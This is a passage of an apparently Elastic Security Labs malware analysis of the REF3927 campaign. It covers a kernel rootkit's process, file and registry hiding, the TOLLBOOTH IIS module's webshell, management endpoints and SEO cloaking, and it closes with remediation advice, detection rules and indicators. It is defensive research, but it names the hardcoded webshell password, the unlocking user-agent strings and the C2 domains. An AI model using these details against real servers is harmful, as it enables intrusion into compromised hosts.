<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcc66d2489994b13e/6a7c96df33fa8ada2a1fce0d/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4 id="processcreationcallbackpssetcreateprocessnotifyroutineex">Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly. </p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong><ul>
<li>The rootkit will ignore the process and just let it run as expected.</li></ul></li>
<li><strong>Protected</strong><ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li></ul></li>
<li><strong>Hidden</strong><ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below. </li></ul></li>
</ul>
<h4 id="theimageloadcallbackpssetloadimagenotifyroutine">The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3 id="initializefsminifilter">InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4 id="fltcreatepreoperationirp_mj_create">FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4 id="fltdirctrlpostoperationirp_mj_directory_control">FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3 id="initializeregistryfilter">InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3 id="initializedevice">InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<p>| IOCTL command                       | Description                                                                                                            |
|-------------------------------------|------------------------------------------------------------------------------------------------------------------------|
| <code>HID_IOCTL_SET_DRIVER_STATE</code>          | Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.    |
| <code>HID_IOCTL_GET_DRIVER_STATE</code>          | Retrieve the current state of the rootkit (enabled/disabled).                                                          |
| <code>HID_IOCTL_ADD_HIDDEN_OBJECT</code>         | Adds a new rule to hide a specific file, directory, registry key, or value.                                            |
| <code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code>      | Removes a single hiding rule by its unique ID.                                                                         |
| <code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code> | Remove all hidden objects for a specific object type(registry keys/values, files, directories).                        |
| <code>HID_IOCTL_ADD_OBJECT</code>                | Adds a new rule to automatically hide, protect, or exclude a process based on its image path.                          |
| <code>HID_IOCTL_GET_OBJECT_STATE</code>          | Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.                   |
| <code>HID_IOCTL_SET_OBJECT_STATE</code>          | This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID. |
| <code>HID_IOCTL_REMOVE_OBJECT</code>             | Removes a single process rule (hide, protect, or exclude) by its unique ID.                                            |
| <code>HID_IOCTL_REMOVE_ALL_OBJECTS</code>       | This command clears all process states and image rules of a specific type.                                             |</p>
<h3 id="initializestealthmode">InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3 id="codevariations">Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43b6daa33e2996be/6a7c96e373d9bd03ee29809e/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt503f0378c1522fd9/6a7c96e5ead8ec4bbbba4dda/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcba6e8ad0e41ac9c/6a7c96e8c33f4f9c90d54efe/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2 id="rmmusage">RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf91cefb0aea11ab/6a88596208baf307b3062088/image25.png" title="gotohttp[.]com landing page">gotohttp[.]com landing page</a></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring. </p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2 id="iismoduleanalysis">IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild. </p>
<h3 id="malwareconfigstructure">Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3 id="webshell">Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81d48da79db0a594/6a7c96eb6c6eac0cd1f0e871/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH. </p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt980a9d5f74305a9e/6a7c96ee73d9bdb3612980a8/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3 id="managementchannel">Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code>Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt57a3049dd3c234d7/6a7c96f0de2315c455fd222f/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab2e4a4ce67b8c65/6a7c96f3fc63aba004647444/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5b4849d5c04f1769/6a7c96f6e88c65daf1005cbc/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3 id="seocloaking">SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config. </p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list. </p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d27a9be4aefb5ab/6a7c96f9448e4e81b75bb05f/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7002e24e6311085b/6a7c96fc05b7b55e83185f07/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt700b04de4bc642d5/6a7c96fec33f4f1d10d54f0e/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta001eadd1087be3d/6a7c970196b5a603d0875a1b/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe631d2ea747ae49/6a7c9705e02fac56fa5d09db/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7705effcda6a50cb/6a7c97081967ea50a932ace5/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaaf513b9eb861f96/6a7c970a3ce8e22ca4cefb97/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3 id="pagehijacker">Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4508780514013e2e/6a7c970d73d9bd6b702980b6/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1eae39fe56878803/6a7c9710c33f4f1c26d54f16/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2 id="campaigntargeting">Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims. </p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte84d8f52b6744d90/6a7c9715e02fac328c5d09ee/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfc1e922cb2d7e318/6a7c9718227b1c7011592b8f/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3 id="geography">Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3 id="diamondmodel">Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbf0d4a2b7d6c093e/6a7c971b80ee380c9e60d59a/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2 id="remediatingref3927">Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="detectionrules">Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3 id="preventionrules">Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4 id="yarasignatures">YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2 id="ref3927throughmitreattck">REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2 id="observations">Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<p>|                                                                                                                           Observable                                                                                                                          |     Type    |         Name        |                              Reference                              |
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------|---------------------------------------------------------------------|
|                                                                                                <code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code>                                                                                               |   SHA-256   |    <code>WingtbCLI.exe</code>    |                              HIDDENCLI                              |
|                                                                                                <code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code>                                                                                               |   SHA-256   |      <code>Winkbj.sys</code>     |                             HIDDENDRIVER                            |
|                                                                                                <code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code>                                                                                               |   SHA-256   |      <code>caches.dll</code>     |                              TOLLBOOTH                              |
|                                                                                                <code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code>                                                                                               |   SHA-256   |     <code>scripts.dll</code>     |                              TOLLBOOTH                              |
|                                                                                                <code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code>                                                                                               |   SHA-256   |     <code>scripts.dll</code>     |                              TOLLBOOTH                              |
|                                                                                                <code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code>                                                                                               |   SHA-256   |      <code>caches.dll</code>     |                              TOLLBOOTH                              |
|                                                                                                <code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code>                                                                                               |   SHA-256   | <code>CustomIISModule.dll</code> |                              TOLLBOOTH                              |
|                                                                                                                        <code>c[.]cseo99[.]com</code>                                                                                                                       | domain-name |                     |                       TOLLBOOTH config server                       |
|                                                                                                                        <code>f[.]fseo99[.]com</code>                                                                                                                       | domain-name |                     |                 TOLLBOOTH SEO farming config server                 |
|                                                                                                                       <code>api[.]aseo99[.]com</code>                                                                                                                      | domain-name |                     |          TOLLBOOTH crawler reporting &amp; page redirector API          |
|                                                                                                             <code>mlxya[.]oss-accelerate.aliyuncs[.]com</code>                                                                                                             | domain-name |                     |            TOLLBOOTH page hijacker payload hosting server           |
|                                                                                                            <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code>                                                                                                           | domain-name |                     |           TOLLBOOTH page hijacker content-fetching server           |
|                                                                                                        <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code>                                                                                                        | domain-name |                     |           TOLLBOOTH page hijacker content-fetching server           |
|                                                                                                <code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code>                                                                                               |   SHA-256   |        <code>1.aspx</code>       |      Godzilla-forked webshell (Similar sample from VirusTotal)      |
|                                                                                                <code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code>                                                                                               |   SHA-256   |     <code>GotoHTTP.exe</code>    |                               GotoHTTP                              |
